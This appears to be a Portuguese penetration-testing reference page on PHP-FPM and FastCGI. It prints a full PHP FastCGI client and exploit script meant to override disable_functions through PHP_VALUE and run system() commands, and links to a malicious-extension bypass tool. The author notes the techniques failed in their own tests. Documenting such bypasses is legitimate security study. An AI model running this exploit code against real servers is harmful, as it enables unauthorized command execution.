PHP-FPM é apresentado como uma alternativa superior ao PHP FastCGI padrão, oferecendo recursos que são particularmente benéficos para sites com alto tráfego. Ele opera através de um processo mestre que supervisiona um conjunto de processos de trabalho. Para um pedido de script PHP, é o servidor web que inicia uma conexão proxy FastCGI com o serviço PHP-FPM. Este serviço tem a capacidade de receber pedidos tanto através de portas de rede no servidor quanto de sockets Unix.
Apesar do papel intermediário da conexão proxy, o PHP-FPM precisa estar operacional na mesma máquina que o servidor web. A conexão que ele usa, embora baseada em proxy, difere das conexões proxy convencionais. Ao receber um pedido, um trabalhador disponível do PHP-FPM o processa—executando o script PHP e, em seguida, encaminhando os resultados de volta ao servidor web. Após um trabalhador concluir o processamento de um pedido, ele se torna disponível novamente para pedidos futuros.
Mas o que é CGI e FastCGI?
CGI
Normalmente, páginas web, arquivos e todos os documentos que são transferidos do servidor web para o navegador são armazenados em um diretório público específico, como home/user/public_html. Quando o navegador solicita determinado conteúdo, o servidor verifica este diretório e envia o arquivo necessário ao navegador.
Se CGI estiver instalado no servidor, o diretório específico cgi-bin também é adicionado lá, por exemplo, home/user/public_html/cgi-bin. Scripts CGI são armazenados neste diretório. Cada arquivo no diretório é tratado como um programa executável. Ao acessar um script do diretório, o servidor envia um pedido para a aplicação responsável por este script, em vez de enviar o conteúdo do arquivo para o navegador. Após o processamento dos dados de entrada ser concluído, a aplicação envia os dados de saída para o servidor web, que encaminha os dados para o cliente HTTP.
Por exemplo, quando o script CGI http://mysitename.com/cgi-bin/file.pl é acessado, o servidor executará a aplicação Perl apropriada através do CGI. Os dados gerados pela execução do script serão enviados pela aplicação para o servidor web. O servidor, por sua vez, transferirá os dados para o navegador. Se o servidor não tivesse CGI, o navegador teria exibido o código do arquivo .pl em si. (explicação de aqui)
FastCGI
FastCGI é uma tecnologia web mais nova, uma versão aprimorada do CGI, pois a funcionalidade principal permanece a mesma.
A necessidade de desenvolver o FastCGI surgiu devido ao rápido desenvolvimento e complexidade das aplicações, além de abordar as deficiências de escalabilidade da tecnologia CGI. Para atender a esses requisitos, Open Market introduziu FastCGI – uma versão de alto desempenho da tecnologia CGI com capacidades aprimoradas.
disable_functions bypass
É possível executar código PHP abusando do FastCGI e evitando as limitações de disable_functions.
Via Gopherus
Não tenho certeza se isso está funcionando em versões modernas, porque tentei uma vez e não executou nada. Por favor, se você tiver mais informações sobre isso, entre em contato comigo via [grupo do telegram PEASS & HackTricks aqui](https://t.me/peass), ou twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Usando Gopherus, você pode gerar um payload para enviar ao listener FastCGI e executar comandos arbitrários:
Fazendo o upload e acessando este script, a exploração será enviada para o FastCGI (desabilitando disable_functions) e os comandos especificados serão executados.
Exploit PHP
Não tenho certeza se isso está funcionando em versões modernas, porque tentei uma vez e não consegui executar nada. Na verdade, consegui ver que phpinfo() da execução do FastCGI indicava que disable_functions estava vazio, mas o PHP (de alguma forma) ainda estava me impedindo de executar qualquer função previamente desabilitada. Por favor, se você tiver mais informações sobre isso, entre em contato comigo via [grupo do telegram PEASS & HackTricks aqui](https://t.me/peass), ou twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Usando a função anterior, você verá que a função system está ainda desativada, mas phpinfo() mostra um disable_functionsvazio:
Então, eu acho que você só pode definir disable_functions via arquivos de configuração php .ini e o PHP_VALUE não substituirá essa configuração.
Este é um script php para explorar o protocolo fastcgi para contornar open_basedir e disable_functions.
Ele ajudará você a contornar disable_functions estritas para RCE carregando a extensão maliciosa.
Você pode acessá-lo aqui: https://github.com/w181496/FuckFastcgi ou uma versão ligeiramente modificada e melhorada aqui: https://github.com/BorelEnzo/FuckFastcgi
Você descobrirá que a exploração é muito semelhante ao código anterior, mas em vez de tentar contornar disable_functions usando PHP_VALUE, ela tenta carregar um módulo PHP externo para executar código usando os parâmetros extension_dir e extension dentro da variável PHP_ADMIN_VALUE.
NOTA1: Você provavelmente precisará recompilar a extensão com a mesma versão do PHP que o servidor está usando (você pode verificar isso na saída do phpinfo):
NOTA2: Eu consegui fazer isso funcionar inserindo os valores de extension_dir e extension dentro de um arquivo de configuração PHP .ini (algo que você não conseguirá fazer atacando um servidor). Mas por algum motivo, ao usar essa exploração e carregar a extensão da variável PHP_ADMIN_VALUE, o processo simplesmente morreu, então não sei se essa técnica ainda é válida.
Vulnerabilidade de Execução Remota de Código PHP-FPM (CVE-2019–11043)